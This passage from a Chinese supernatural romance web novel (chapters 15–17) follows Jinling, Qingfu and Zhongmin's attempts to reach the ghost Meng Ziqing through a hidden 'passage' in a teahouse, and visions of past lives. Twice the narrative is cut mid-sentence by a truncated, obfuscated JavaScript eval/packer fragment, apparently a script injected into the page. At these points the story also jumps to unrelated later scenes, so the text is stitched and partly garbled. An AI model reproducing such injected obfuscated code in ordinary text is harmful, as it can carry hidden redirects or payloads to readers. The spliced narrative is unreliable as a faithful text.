如果兄长地下有知,请务必前来接她,她不想当了鬼魂,亦是孤独无依。听她哭泣的话语 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何况现在孟梓晴是旧的执念未了(与妹妹的约定),又有了新的执念(仲敏),可愿意踏入轮回? “觐灵,你还没说,你为什么受伤。”卿甫光顾听觐灵讲孟梓晴的事,这才想起这件事。 觐灵苦笑:“那是孟兄记忆制造出来的地方,我想再次进入,必须有记号,当时实在是没有其他办法,所以……” “你说。”卿甫着急。 觐灵只得道出:“我捡起墓地上一块碗片,割手,滴下血液,做为记号,谁知道,那里跟鬼域不同,地里突然窜出好些东西,吸食我的血液,我它们被纠缠,好不容易才逃出来。” 异域里生活的鬼魂惧怕他的血液,避之不及,而在这个空间里,地中的精怪却贪婪吮食他的血液。 卿甫急忙拉起觐灵的手臂,仔仔细细察看,不见任何伤痕。 不赞同觐灵割伤自己的作法,又知道他是为帮孟梓晴,不忍苛责,卿甫想要责怪只能责怪自己,是自己使觐灵介入仲敏与孟梓晴的事。 仲敏在家养病,卿甫时常要到店里照料生意,这天,觐灵来店里找卿甫——近来,他偶尔会过来,卿甫正好外出,店里只有伙计黄姐和小张。 两名伙计都认识觐灵知道他是老板赵卿甫的好友,很热情地招待他。 这日,正巧一位乡下打扮的男子鬼鬼祟祟带着一件玉器进店,说要售卖,黄姐不敢收,觐灵出来,他目光落在玉器上,见是一件鸡骨白的玉璜,璜身刻着精美的龙蛇纹,又将卖玉男子仔细打量,轻声说:“玉是通灵之物,献给神明的玉器更是不该盗用,望你好自为之。” 贩卖玉器的男子脸唰地一下子白了,一把将桌上的玉器包起,恼羞成怒大骂“没眼力就算了,我还不想卖呢!” 黄姐与小张都露出惊诧的表情,不知道觐灵为什么说这些话。 觐灵神色不改,悠悠道:“你的左肩是不是一直很疼?像被锥子狠扎一样?” 卖玉男子惶恐地看着觐灵,冷汗直流。 “你速将东西还回去,否则有性命之忧。” 卖玉男子惊慌失色,夺门狂奔,一眨眼功夫便无影无踪。 小张与黄姐看得目瞪口呆。 卖玉男子刚进店,觐灵就看到他身上有条蛇,蛇张开大嘴,利齿深深扎进肩头。 这尾蛇不同寻常,额上有菱纹,古玉上雕刻的蛇纹,额头上也有相同的菱形符号。 临城古属东越,而东越的图腾,正是蛇。 卖玉男子手中的玉器,正是古代东越人献给蛇灵的礼玉。 至于他是如何获得这样的东西,显然是经由非法途径。 目睹全过程的小张和黄姐嘴上不说什么,心里早已经对这位茶馆老板有了生出疑虑。 平时,觐灵总是隐匿自己的能力,但是遇到人命关天的事情,他就顾虑不了那么多。 卖玉男子如果不能尽快归还礼玉,怕是后患无穷。 不过就是再贪婪的恶徒,为了性命,也会舍弃珍宝。 卿甫刚来店里,黄姐便偷偷告诉卿甫今日发生的奇事,卿甫让黄姐不要声张。 进会客厅找觐灵,见他正在喝茶。 觐灵抬头看见卿甫,低语:“我搅黄了你的生意。” “没事。” 卿甫悠然坐下,觐灵为他倒茶,两人低声交谈。 黄昏时分,卿甫与觐灵结伴离开古玩店,两人前往罗家探看仲敏。 往日神采翼翼,不知天高地厚的仲敏,变得沉默寡言,容貌憔悴,他受到了很大的打击,似乎连性情都变了。 仲敏跟到访的两位友人打声招呼,便埋头在画作里,他在画梅花,在临摹老画刊上的吴镇的《梅花图》。 仿佛回到了昔日,他和孟梓晴一起钻研吴镇的技法,一起仿制这幅古人画作。 这些时日,仲敏画了不少作品,这些作品的颜色要么阴郁清冷,要么热情得令人不安,其中有一副人物画,画的正是孟梓晴。 上一回来访,仲敏告诉觐灵:如果孟梓晴愿意被超度,他不会反对,他会协助。 那时他的眼神空洞,给人心如死灰之感。 15. 第 15 章 仲敏站在桌前,桌上梅花图已完工,用一对镇纸压住。他桌上工具齐全,并且已各归其所。 “这梅花怎么红色?”卿甫凑上去端详。 觐灵远远站着没动,脸上神情诧异。 “出了件怪事。”仲敏端起梅花图,将它往墙上贴的另一幅梅花图比较做,他的举动,吸引了卿甫与觐灵的目光。 “怎么个古怪法?” 卿甫留意到贴在墙上的梅花图,梅花为白色,而仲敏再绘的梅花图梅花则是红色,除去颜色不同外,没有其它差异。 “昨晚我将它画完,贴在墙上细细端详,看着看着,突然白梅变成了红梅,点点斑斑,殷红似血,到清晨才又恢复原貌。”仲敏讲述时,言语没有起伏,但表情认真,、他不是在开玩笑。 “你是不是眼花了?”卿甫问。 “不信就算了。”仲敏不打算说服。 “以前梓晴跟我讨论过,说图中的梅树是株古梅,吴镇酷爱梅花,有可能四处探访古梅,并将古梅绘下。” 将新绘的那幅画铺在桌上,仲敏修长的手指轻轻在画上描述出梅花的枝干,虬曲而偃蹇,有古梅的风貌。 “从形态看确实是株古梅。”卿甫答道。 吴镇探访古梅,并将古梅入画,与仲敏发现花色变异似乎并无什么联系? 觐灵一直沉默,到此时才开口:“罗先生,孟兄对这幅画还说过什么吗?”仲敏想了想,摇头回:“没了。” 提到孟梓晴,仲敏的神色黯然。 “朱馆主,你将梓晴安置在哪里呢?我可以去见他吗。”仲敏忍不住,还是开口询问梓晴的去向。 仲敏会这么问,不奇怪,他憋这么长时间才问,才是真奇怪。 “在一个特殊的地方,就在我家茶馆的‘通道’。” 觐灵没打算隐瞒,哪怕这是他的家族秘密。 “通道?什么通道?”仲敏很疑惑。 “觐灵的暗香茶馆存在一处‘通道’,类似时空重叠,那里不属于阳间也不属于阴间。” 卿甫做出解释。 不属于阳间也不属于阴间?那会是怎样的一个去处? “我能见他吗?”仲敏只在乎这件事。 “我不清楚,你能不能看见‘通道’,我能进入‘通道’,但是我不能保证,如果我带你进去,你还能不能活着出来。” 觐灵认为应该如实告诉仲敏,梓晴到底去的是什么样地方,他没有保留。 “总要试试。”仲敏似乎下定决心。 他想再见见梓晴,想跟他说些话,以表达自己的歉意。 觐灵沉默,卿甫出声反对:“‘通道’通往不同的地方,那里对人很危险。觐灵送孟梓晴进去,被里边的精怪攻击,他是有特殊能力的人,还受了不轻的伤,你进去是打算寻死吗?” 仲敏只是看向觐灵,口吻坚定:“要试下才知道我能不能看到‘通道’,也要试下才知道我能不能出来。” 觐灵没有答应,他不在乎自己冒点风险,他担心的是仲敏真得出不来,到时候该怎么办,他和卿甫怎么跟老罗头交代。 “他不能出来见我,我也不能进去见他,这他妈的是什么道理!” 仲敏突然情绪激动,一把扫落桌上的笔架,又举起笔洗要往阳台砸,卿甫急忙拽住他,将他控制住。 自从孟梓晴离开,仲敏情绪不稳,受到刺激会发作,如果不是卿甫力气大,险些制不住他。 “没有道理,本来就是没有结果的事!”卿甫压制住仲敏,避免他伤到自己。 仲敏放弃抗挣,颓然躺在床上,泪水从眼角滚落。 卿甫见仲敏似乎平静下来,将人放开,仲敏冷冷看着觐灵与卿甫,眼里突然有了怨恨,跃身指着觐灵大叫:“他是邪灵!为什么你们可以在一起!” 卿甫太阳穴青筋爆起,狠狠揍向仲敏,将仲敏揍趴在地,本还想补上一拳,被觐灵从背后拦腰抱住。 觐灵察看仲敏的伤势,抽纸巾擦去仲敏嘴角的血迹,说道:“他情绪不好,你打他做什么?” 仲敏的姐姐推着老罗头下楼散步,两人都不在家,否则卿甫下这么重的手,怎么跟仲敏的家人解释。 仲敏挨受一拳,脑子终于冷静下来,看着觐灵又愧疚又痛苦,干脆别过脸去,不让觐灵帮他擦拭血迹。 卿甫见觐灵还没有脾气地给仲敏擦脸,一把扯过觐灵,不给觐灵解释,将觐灵拽出老罗家。 他是真得气坏了。 恩将仇报的家伙! 觐灵几次为帮他受伤,竟然说觐灵是邪灵! 还管他干么。 卿甫拽着觐灵进入电梯,电梯里只有他们两人,电梯门关上时,卿甫揪住觐灵衣襟,用力亲他。 觐灵将人推开,轻声问:“你怎么了?” 对方的眼睛深邃不见底,盯着觐灵,一言不发。 觐灵摸上卿甫的脸,无奈地说:“你也曾想过,我是不是人吗?” 无言将觐灵紧紧抱住,他揍仲敏时,不只是怒火,还有说不出的恐慌。 “卿甫,我不知道我是谁。我常见到你,那或许是你的前世,我知道你,但是我不知道我是谁。” 觐灵轻声细语,他的话语是那么哀伤,却又平静。 “我一直想告诉你,也许你能帮我……” 觐灵的话没说完,就听到“叮”一声,电梯门打开,觐灵急忙挣脱卿甫怀抱,好在电梯外没人,地下停车场昏暗而寂静。 人与人之间的缘分,是很奇妙的东西。 芸芸众生相逢,相知,相爱,需要什么样的缘分呢? 是否需要几辈子的等候,才有今生的相伴? 车停在镜湖畔,觐灵和卿甫漫步在镜湖公园。此时不是梅花盛开的时节,镜湖公园内的梅树葱翠,与觐灵上次梦境中所见的雪花飘舞的情景也不同。 夜晚公园内活动的人多,两人找处寂静的地方坐下,卿甫问觐灵为什么带他来这里,觐灵微笑:“我在梦里见过你,就在镜湖上,我也曾在‘通道’通往的古代茶馆里见过你,在我少年时期。我想起你的名字叫赵子钧,但是我不知道我是谁。” 卿甫无比愕然,抓住觐灵手问:“为什么以前从没听你提过?” 十指相扣,觐灵低喃:“那时候我还不知道我是不是喜欢你,与及你是否对我有感觉。” 无法确定两人的情感,没有必要提,觐灵就是抱着这种心态,把这个秘密深藏。 “你说的那个‘我’是怎样的人?” 卿甫太想知道了,他没有觐灵的特殊能力,能见到另一个自己。 “我曾问你为什么写《燕云》,写云水先生,因为我在古代茶馆里遇到的你,是和云水先生同时代的人。你与云水先生还有一定的交情,我是在他们的茶会上看到你。” 这句话让卿甫震惊到失语,瞪圆眼睛望着觐灵,过了好一会他才开口问:“他的名字如何写?” 觐灵拉起卿甫的手,在他手心里写下“孟颉”二字。 卿甫搜肠刮肚,想不起那时候有哪位历史人物叫这名字,这人并未载入史册。 “赵子钧。”卿甫念了一遍。 “卿甫,你认识这个人吗?” 卿甫摇了摇头。 “他的朋友待他很敬重,我看他仪容华贵,极有可能是位王孙。” 觐灵回忆赵子钧的形象。 卿甫创作过这个背景的历史小说,也许他能提供信息,而且这人跟卿甫似乎有某种联系,或许正是卿甫的前世。 “我写《燕云》时查阅过云水先生的资料,他的交友中没有一位叫赵子钧的人。” 略作思索,卿甫想到一个合理解释:“那时期的人提及云水先生的交友,未提及赵子钧,极可能他与云水先生只有几面之缘,没有过深的交往。” “或许是这样。”觐灵有些失落。 “他和我长得像吗?”卿甫问。 “很像。” “你上次问我是否有一位祖上在宋代临城出仕,便是在打听赵子钧吧?” 卿甫记性真好。 “是。” 赵子钧,他可能是赵卿甫的祖上,更可能是他的前世,两人给予觐灵的印象十分类似。 “还记不记得,去年你在书店举行新书签售?” “记得,当时你在?” “嗯,我拿《燕云》找你签名。” 卿甫面上的表情惊诧: “有这事吗?” 觐灵点头:“有,我正是那时候见到你,你跟我在古代茶馆中遇到的赵子钧长得一模一样。” 卿甫笑语:“所以,那时候你心里就有了我?” 觐灵莞尔:“没有,当时只是感到很吃惊。” 两人相视而笑,他们是相见恨晚,但是他们也很有缘分。 “我在校庆第一次遇见你,我就在想,这人真别致。你别笑,真有种一见钟情的感觉。觐灵你说我们前世可能有渊源,我信。” 一对情侣过来,坐在不远处的长椅上,卿甫与仲敏很有默契地站起来,两人踩着清闲的脚步,沿着湖堤边漫步边交谈:“关于赵子钧及我,你什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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书房的灯亮着,卿甫背对着他全神贯注注视着电脑屏幕,键盘的声音时而响起时而停下,他在没有留意身后有人,正沉湎在自己构建的世界里。 也许是卿甫的背影有一种疏离感,也许是因为梦境遗留下的悲伤情绪,使觐灵莫名感到不安。 不知过了多久,卿甫终于关掉电脑,站起身来,他看见站在书房门口处的觐灵,很惊讶:“你站那里多久了?” “我站在这里看了你很久,你没发现。” “是键盘声吵到你了吗?” “不是,我似乎做了个噩梦,醒来想抱住你,发现你不在。” 卿甫张臂将觐灵抱住,声音很温柔:“是什么梦?” “记不清了。” 似乎也是与卿甫或者是赵子钧有关的梦。 “我在后面看着你,你似乎连身在哪里都忘记了,也不再牵挂任何尘世的人。” “写作是会有这样一种状态。”卿甫点头,又说:“不需要特意提醒自己,觐灵,你已经在我心中。” “你之前的恋人有没有说过,你油嘴滑舌?” “当然没有,我记得是因为我不解风情,她跟我短暂交往几天,就和我分手了。” 卿甫哑笑,亲了亲觐灵。 两人纠缠在一起,在昏黄的书房里肆意妄为。 清晨,卿甫醒来,见觐灵的手臂紧紧搂着他,就像是怕他跑掉似的。 昨夜迟迟才入睡,想来他是倦了,卿甫摸了摸对方的脸庞,眼眸里满是温情。眼睑微微颤动,觐灵在苏醒,他缓缓睁开眼,见到对方,嘴角的笑意潺湲。 “想吃什么?我去做。” 几乎是宠溺的语气。 “还不饿。”觐灵摸上卿甫的脸,低语:“你有黑眼圈。” 卿甫躺回去,抱住觐灵,低语:“那我们多睡会。” 舍不得离去,只想陪伴左右。 两人睡至午时才起来。 开车将觐灵送到暗香茶馆,目送他的身影走进茶馆,直到消失不见,卿甫才离开。 午时的古玩街很热闹,卿甫行走在其中,遇到一群又一群的游客,还有导游拿着喇叭在讲解路边的古寺及牌坊的故事。 自从仲敏生病,古玩店的生意差了很多,卿甫来到店里不再像以前那么清闲,事事都需要他来管, 除去好惹事外,仲敏确实是个不错的生意合伙人,以前店里的事务大多是仲敏在负责。 16. 第 16 章 卿甫虽然揍了仲敏,但在仲敏打电话跟觐灵道歉后,他不再计较,受到老罗头的邀请,他前往罗家做客。 记着一拳之仇,仲敏没给卿甫好脸色,卿甫也记着这家伙说觐灵不是人的混账话,两人互相不搭理。 老罗头负责泡茶,从中劝和,他当着仲敏的面说:“他没哥哥,我以前也总惯着他。卿甫,以后这小子要是再做糊涂事,你放心教训他!” 老罗头已经知道仲敏人鬼恋的事,也知道卿甫和他的友人朱馆主一直在帮助仲敏,他十分了解自己的儿子,也熟悉卿甫的品行,认定是仲敏做了过分的事,才会挨卿甫揍。 “老头,我是你亲生的吗?”仲敏不爽。 他的状态比之前好,人也精神多了。 老罗头不理会他的不满,继续与卿甫絮叨。 坐在一旁喝茶,仲敏喃喃自语:“等我将画装裱好后,再送给朱馆主。” 卿甫问:“什么画?” “我上次绘的红梅版吴镇《梅花图》,我有一段时间感觉自己似乎拥有看透事物本质的能力,我总觉得那株梅树本该是红梅。” 仲敏的表情很认真,他继续说:“朱馆主曾经拜托我仿制吴镇梅花图,我已经交给他一副,我想再赠给他一副,这样既有白梅版,也有红梅版,才算完满。” 上次卿甫匆匆看过那幅画,没留下印象,当仲敏将他绘的红梅版吴镇《梅花图》拿出来,在阳光下展示时,他才发现这幅画确实画得极好。 仲敏心里对朱馆主感到非常内疚,自己情绪不佳,就出口伤人,伤的还是一直搭救他与梓晴的大恩人。 “你裱好画,亲自上门跟觐灵道歉。”卿甫的声音严厉。 仲敏也知道肯定要登门致歉,否则自己良心上也过意不去。 他用力点头。 “老赵,你下手那么重,我嘴角淤青一周,有颗牙现在还在晃动,你是不是也该跟我……” 道歉。 老罗头瞪了仲敏一眼,仲敏立即闭嘴。 三人喝了会茶,聊会天,老罗头回书房去,只剩仲敏与卿甫在客厅, 老罗头在时,仲敏不敢问卿甫“通道”的事,老罗头一离开,仲敏就将卿甫拉一旁去,询问暗香茶馆的“通道”在什么位置。 “绝大部分人都看不见那条‘通道’几万人之中,只有一人吧。你不要再给觐灵添麻烦。” “确实,我给朱馆主添了许多麻烦。” 仲敏喟叹。 “梓晴在那边还好吗?” “觐灵说孟梓晴借助‘通道’这个特殊存在,衔接他记忆中的一个地方,他将在里边休养。” “谢谢。”仲敏道谢。 他的感谢很真挚,发自肺腑。 这次到访,看到仲敏情况好转,使卿甫舒了口气。 仲敏已经恢复理智,至于与孟梓晴分离的悲伤,只能在日后由时光慢慢使其愈合了。 这是乐观的想法,如果设身处地去想,换成觐灵永远被困在“通道”里,卿甫一辈子也见不到恋人,他会怎么做呢? 在老罗头邀请卿甫来家里做客的前一天,仲敏就已经开始计划潜入暗香茶馆,他想寻找“通道”。 他是在老罗头睡午觉的时候,偷偷溜出去。 他还知道,正午时分,朱馆主不在暗香茶馆,朱馆主怕热,一般是午后才会去茶馆。 老赵在古玩店里天天和朱馆主聊电话,连仲敏都掌握了朱馆主的作息时间。 在仲敏看来,觐灵确实当了法海,不同的是,觐灵是为救孟梓晴,于万般无奈下将孟梓晴送去“通道”——毕竟暗香茶馆存在“通道”,是朱家几代人保守的秘密。 白娘子的传说中,法海则是个坏人,看不惯人妖过幸福生活,活生生拆散一对恩爱夫妻。 仲敏心里清楚,他和梓晴会分离,正是因为他们在端午那夜喝多了酒,做了不该做的事,自己不听觐灵劝告,最终酿成大错。 他想,如果自己能找到通道的话,他就自己偷偷进去。 如果找不到的话,说明他与孟梓晴再无缘分,他该放手了。 暗香茶馆,仲敏以前来过,跟朋友过来喝茶。他从不知道这家茶馆是如此神秘的地方,也没想过馆主是那么特别的一个人。 以顾客的身份前方暗香茶馆,仲敏在茶馆内走动,几乎把每一处地方都看遍——除去员工才能进去,顾客不许进的地方。 “通道”这个词,听觐灵与卿甫提过,仲敏对这到底是怎样的存在毫无观念,他猜测可能是一扇暗门。 仲敏花费许多心思,没有找到暗香茶馆的“通道”,在他失落之际,决定离开之前,他去了趟洗手间。 他进洗手间出来,见到先前是墙的地方,延伸出一条幽深的过道,只有他能看见,因为那些进出洗手间的人,都对那条幽深且怪异的过道视若无睹,他意识到自己找到了“通道”。 仲敏记得当时自己没有特别欣喜的感觉,而是一种欣慰感。 以前,仲敏来过暗香茶馆,他没见过这条过道,结论就是:以前他看不见,现在他看见了。 是因为梓晴的关系吗?仲敏想。 仲敏朝这条神秘而幽深的过道走去,他以为自己能毫无挂念进去,但是他想到父亲老罗头,想到姐姐,想到老赵与朱老板,想到自己还没有将红梅版的梅花图装裱,将它赠给朱馆主当面道歉。 仲敏从“通道”里退了出来,自言自语:“今天不行,今天不行。” 之前朱馆主对自己说过,如果他进入“通道”找孟梓晴,可能会把性命丢掉,仲敏也有这种感觉。 他得先装裱好红梅版《梅花图》,将画作赠予朱馆主并跟朱馆主当面道歉,最后,他还得写张纸条告诉老父亲和姐姐,他去外地散心,他要告别过去,等心情好了就回家。 做完这些事,他再进“通道”。 送走赵卿甫,仲敏搬出平日裱画作的木板跟梳子,开始裱褙红梅版《梅花图》。裱褙的工序比较复杂,不过短期内肯定能完成。 仲敏似乎窥见了画中吴镇《梅花图》中那株老梅树的秘密,它即是白色,也是红色,他的直觉告诉他必是这样的。 两天后,仲敏将裱好的红梅版《梅花图》亲自送给觐灵,并诚诚恳恳跟觐灵道歉。 觐灵没有责怪他,像往常招待仲敏。 离开朱宅,仲敏前往古玩店,最后看一眼店中整齐摆设的古玩,老赵瞥了他一眼,对他点头示意,两名伙计见到他露出惊喜表情。 在古玩店待至夜晚,关好店门,仲敏才离开。 掐着时间回家,仲敏趁着姐姐陪父亲下楼散步都不在家,他将早就准备好的旅行包从衣柜里取出,背在身上,将早就写好纸条放在客厅茶几上。 仲敏离开家。 夜晚的暗香茶馆,客人众多,仲敏在店外等待,等朱馆主离开店铺,他才进店。 旅行包早被仲敏丢垃圾桶里,里边只装着一些衣物,夜晚的拾荒者会将它拾去,他空着手进茶馆。 径自上二楼,朝洗手间走去,他在洗手间里等待,等没人的时候,他奔向那条幽深的过道,身影一闪,消失在“通道“里。 那一刻,仲敏脑中只有一个念头:梓晴,我来找你了。 ******************** 从头疼欲裂中醒来,仲敏发现自己躺在一条民国时期的街道上,四周是全是慌乱的百姓,背负行囊,行色匆匆,面带恐慌。 仲敏从地上爬起,激动地喊身边的行人,想问这里是哪里,发生了什么事,但是没有人看见他,似乎也没有人听得到他的声音。 这时,仲敏留意到一位十二三岁的小男孩,小男孩正回过头来,似乎看了他一眼,这使得仲敏吓了一跳,小男孩长得真秀气,眉眼像朱馆主。 “阿涣,快走!你还磨磨蹭蹭干什么!走慢了,要被贼寇抓去插草标卖掉!”一位三十余岁的男子拽住男孩的手,恐吓孩子快走。 周边人都在匆忙赶路,他们在逃命,只有仲敏一人对身处环境很茫然。仲敏追上叫阿涣的男孩,跟在这一长一幼身后。 年长男子背上的包袱沉重,在赶路过程中,包袱忽然松开,从里边掉下一件东西,那是一幅画,阿涣急忙停下大叫:“阿爹!《梅花图》掉了!” 年长男子听到唤声,立即停下脚步,慌乱将地上的《梅花图》拾起,让儿子阿涣捧在怀里。 听到“梅花图”三字,仲敏竖起耳朵,此时,他意识到,这个叫阿涣的孩子,从年龄推算,很可能就是朱觐灵的祖父。 为什么会遇到朱馆主的祖父呢?我想见的是梓晴。 阿涣一手抱紧《梅花图》,一手被他爹牵,一老一小,继续赶路。 跟着这对父子,一路出城门,他们两人步伐走得飞快,路也熟,仲敏受行人干扰,忽然在人堆里找不到他们。 原来这里是渡口,难怪人那么多。 这时,忽然找到朱姓父子的身影,他们已经在船上,阿涣朝岸上大声喊着:“敬哥哥!” “阿爹,是敬哥哥!” 朱父看见了什么人,大声叫道:“敬之,你怎么一个人?” 仲敏看见一个身形瘦长的男子用力挥着手,喊道:“朱叔,我家人都走了,我有件事要办,办完就走!” 仲敏好奇这人是谁,他挤上前去,名叫敬之的男子正好转过脸来,看清那张脸,惊得仲敏目瞪口呆。 这人二十出头,穿着这个时代时髦的衣着,他长了张仲敏的脸。 完全是一模一样。 眼见男子就要离去,仲敏急忙跟上。 跟踪“自己”的感觉真得很奇妙,仲敏跟着他绕过一条荒凉的小巷,来到一处死寂的林丛。 这里居然是一处墓地。 男子走到一座荒墓前,他将自己提了一路的箱子打开,从里边取出香烛和贡品。 原来,他是来上坟的。 男子将坟前的杂草拔去,点上香烛,供上祭品,他立在坟前,神色怅然,喃喃道:“你还记得我们参加学校剧社的事吗?我演男主角,你演女主角,我开玩笑说,你要是也喜欢我,我们就是天造地设的一对。我想告诉你,那时候,我不是在戏弄你,那是我的真心话。我想今日不说,以后再没有说的时候。梓晴,我将远行,别了。” 仲敏一听“梓晴”二字,急忙朝墓碑看去,不看还好,一看到墓碑上的名字,立即头疼欲裂,以至昏死了过去。 再次醒来,四周灰蒙蒙一片,仲敏脑子昏沉沉,不知道自己身处何地,这时听见低泣声,看见一个模模糊糊的白色人影。 “梓晴?是你吗?” 仲敏猛地从地上爬起,他试图想看清人影,四周雾气弥漫,只能看到模糊的脸部轮廓,这不妨碍仲敏辨认。 “梓晴!我终于找到你了!” 仲敏惊喜万分,一把将那人影抱住。 “你糊涂啊,这里不能进来。”孟梓晴的声音哽咽。 仲敏心中只有欢喜,哪还有什么顾虑,只有说不尽,道不完的相思之情。 闯进 “通道”时,仲敏就知道他有可能出不来,他觉得自己不后悔。 此时,即使是相逢的一刻,也是永恒。 ******************** 老罗头打来电话告知卿甫,仲敏留下一封信后离家出走。 对这个状况频出的儿子,老罗头是操碎了心,卿甫劝他先别着急,自己这就过去。 来到罗家,卿甫看到那张仲敏留给父亲与姐姐的纸条,一读到纸条内容,他就意识到仲敏没说实话,他要是离家出走倒还好,就怕不是。 离开罗家,卿甫接到觐灵问询的电话,只得将事情告知对方。 先前老罗头联系卿甫时,卿甫在朱宅,觐灵听见了他们的对话,知道仲敏出事。 “卿甫,你相信他真得是出去散心吗?” “我知道你在担心什么。” 两人一阵沉默,他们都见过仲敏因为孟梓晴发狂的模样,孟梓晴如今还困在“通道”里,音讯全无,他怎么可能突然背上行囊,踏上远方,还说是去散心。 “我要去趟茶馆。” “觐灵,等我。” “好。” 觐灵结束与卿甫的通话,立即又打了一个电话,给暗香茶馆的经理老张。 此时是深夜,暗香茶馆已经关门,街道行人稀寥。 卿甫去朱宅载上觐灵,两人一同前往茶馆,他们远远便见茶馆的经理候在门前。 茶馆的大门重新被打开,灯光亮起,室内通明。 “老张,你见过这个人吗?” 卿甫递给经理一张照片,那是仲敏的正面照。 照片是卿甫从仲敏的相册里拿的。 在罗家,见到仲敏留下的纸条,卿甫就有一个猜测:这家伙要进“通道”。 他和觐灵都没有告诉仲敏通道在什么位置,那么仲敏就得来暗香茶馆暗探,通道那么难找,他有可能多次到茶馆来。 茶馆的经理或许对仲敏有印象。 “见过,他今晚来过,时间大概是九点。” “觐灵,茶馆有监控吗?” “有。” 调取监控,就见到仲敏今晚九点左右进去暗香茶馆,直到茶馆闭店,他也没有出店门。 “我进去,带他出来。”觐灵的声音平静。 “觐灵,别管他,由他去吧。” 卿甫拉住觐灵的手,看着那条幽深而神秘的通道,他眉头皱起。 上次觐灵进入的是梓晴的记忆,并在那里遭到袭击,受了重伤,这次再进去,很可能又要受到伤害。 觐灵对仲敏早就仁尽义至,他不该再为仲敏的鲁莽遭受危险。 “现在进去,应该能找到他,再迟些,可就难找了。”觐灵不忍心。 “觐灵,不是每次进入‘通道’都是那间舒适、安全的古代茶馆,‘通道’似乎有自己的机制,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卿甫沿着石径行进,他来到一处亭子,亭上有琴声传出,亭中设有宴席,五六位士子,两名婢童。 鼓琴者是位青衫男子,三十余岁,清雅脱俗,物我两忘。鼓琴男子身侧,坐着一位器宇轩昂的弱冠男子,他头戴乌纱,鬓若堆鸦,眉眼如画,身穿一领紫红圆领,腰系玉革带,悬挂黄金鱼牌,绝非一般人物。 这男子正襟危坐,坐在主人席位上,想来这座庭院,即是这位华贵男子府邸的一部分。 卿甫这样想着,仔细端详这座府邸的主人,这名男子让他有种说不出道不明的亲切感,尤其是他的眉眼鼻唇,都是那么的熟悉。 为什么是如此熟悉? 因为他即是我,我即是他。 卿甫恍然,这位古代男子有着跟他一模一样的容貌。 觐灵说见过他的前世,雍容华贵,身份不同一般,就是这个人吧。 他叫赵子钧。 卿甫逐一扫过在座的宾客,他想从这些人的脸庞上辨认出谁是谁。 据觐灵所言,赵子钧是位王孙,却会应云水先生之邀,前往茶馆与友人饮茶。 鼓琴的男子,应该是云水先生吧,有他气质,年龄也符合。 一脸冷漠,闷声喝酒的绿衫男子是谁呢? 戏弄酒童,面如冠玉的蓝衫男子又是谁呢? 另有一位年长的男子,他又是谁? 卿甫不再做猜测。 云水先生弹完一曲,与众人交谈,蓝衫男子忽然起身,在琴案前坐下,正色抚琴,琴曲激跃,气魄雄伟。 琴声在耳边回荡,时隔数百年,它是那么古老又那么熟悉。 卿甫静静倾听,目光扫过寂静的庭院,最终落在一株梅树身上。 这是一株古梅,高大,茂盛,枝干古拙,虬曲。 这是一株白梅,花瓣洁白如玉,香气清雅,十分喜人。 卿甫来到古梅边上,端详着,痴迷着,眷恋着,他再不想离去,静静地相伴。 琴声消逝,宴席结束,黄金鱼袋在夕阳下闪耀,府邸的主人走至白梅树下,手抚树干,慨然叹息。 夕阳下,他的身影与白梅的身影纠缠一起,在地上被拉得很长很长。 卿甫为白梅的香气缠绕,倦倦睡去,无知无觉,他不知道他睡过了多少日夜,再次醒来时,他听到亭上的话语,还有断断续续的萧声。 仍是那群人,正好听到其中一人慷慨说道:“若是到那九鼎沦陷之时,吾当以身殉国。” 卿甫望去,见站立者正是上次所见的青衫男子,在座的客人唯有他慷慨呈词,其余人或黯然涕下,或神色呆滞。 卿甫目光落在“自己”身上,这人闷声喝酒,一言不发。 覆巢之下,焉有完卵? 卿甫再次沉沉睡去,在梅香之中,他是那么地安心,就仿佛怀抱着觐灵,心无杂念。 这千古的悠荡岁月中,能有这一刻的安宁,是那么恬静。 不知时光的流逝,也早忘记了自己来到此地的目的,当卿甫再次睁开眼睛,他看到地上有火焰在蔓延,他发现自己拥有了实体,他正穿着赵子钧的衣物,衣领上有一滩血,而血液从脖颈汩汩涌出,他没有恐慌,没有任何哀伤,是那么的平静。 手指沾染上血液,那血冷得似水。 白梅在身上飘舞,落了一身,卿甫艰难地爬行,痛苦地将头仰出,枕着血染的土地,凝视着头上的梅树,安然死去。 生命从那青白的脸上流逝,鲜血沿着土壤渗入梅树的根系,还未凋零的时节,梅花如雪似泪,纷纷扬扬,在风中飘荡。 死亡的感觉,是寂静,是虚无。 卿甫想,他愿意就这样烟消云散。 “卿甫,不管那是什么,你别随它去,留下来。” 是谁在哭,在唤我? 那么的悲伤,心都跟着揪紧。 别哭了,不要哭。 痛苦地睁开眼皮,落入眼中的是一个熟悉的身影,那是觐灵,觐灵正抱着他落泪。 “觐灵……” 卿甫呢喃,他虚弱地抬不起手,去擦拭恋人脸上的泪水。 觐灵猛地抬起头,他像似发了疯般扑上来,死死将他抱住,声音沙哑:“你刚刚失去意识,进入‘通道’后,你的魂魄便四散了。” 恋人的泪水,落在脸庞上,很凉,使他想起血的触感:“原来是这样,我仿佛做了一个长长的梦。” 他想摸觐灵的泪脸,但实在没有力气,只得心疼地说:“我吓到你了。” 觐灵噙泪,低头亲吻卿甫。 虽然卿甫进入“通道”后便松开了手,但是觐灵有能力感知到他的存在,所以几乎即刻找到他。 只是那时卿甫的魂魄已经散去,不明原由。 觐灵执住卿甫的手,想将他的魂魄召回来,却受到了阻力,后来想那应该是卿甫自己的力量在抵抗。 他进入自己前世的记忆,并迷失在其中。 17. 第 17 章 卿甫告诉觐灵,他进入“通道”后,见到了自己的前世,真如觐灵所说,他的前世生活与云水先生同时代——从建筑与服饰辨认,还是位王孙。 “觐灵,我见到赵子钧与他的数位友人,我没有找到你,现在想来庭院里有你的气息,是那气息使我感到安心。” 卿甫从地上坐起,在迷雾中拥抱觐灵,讲述他的离奇经历。 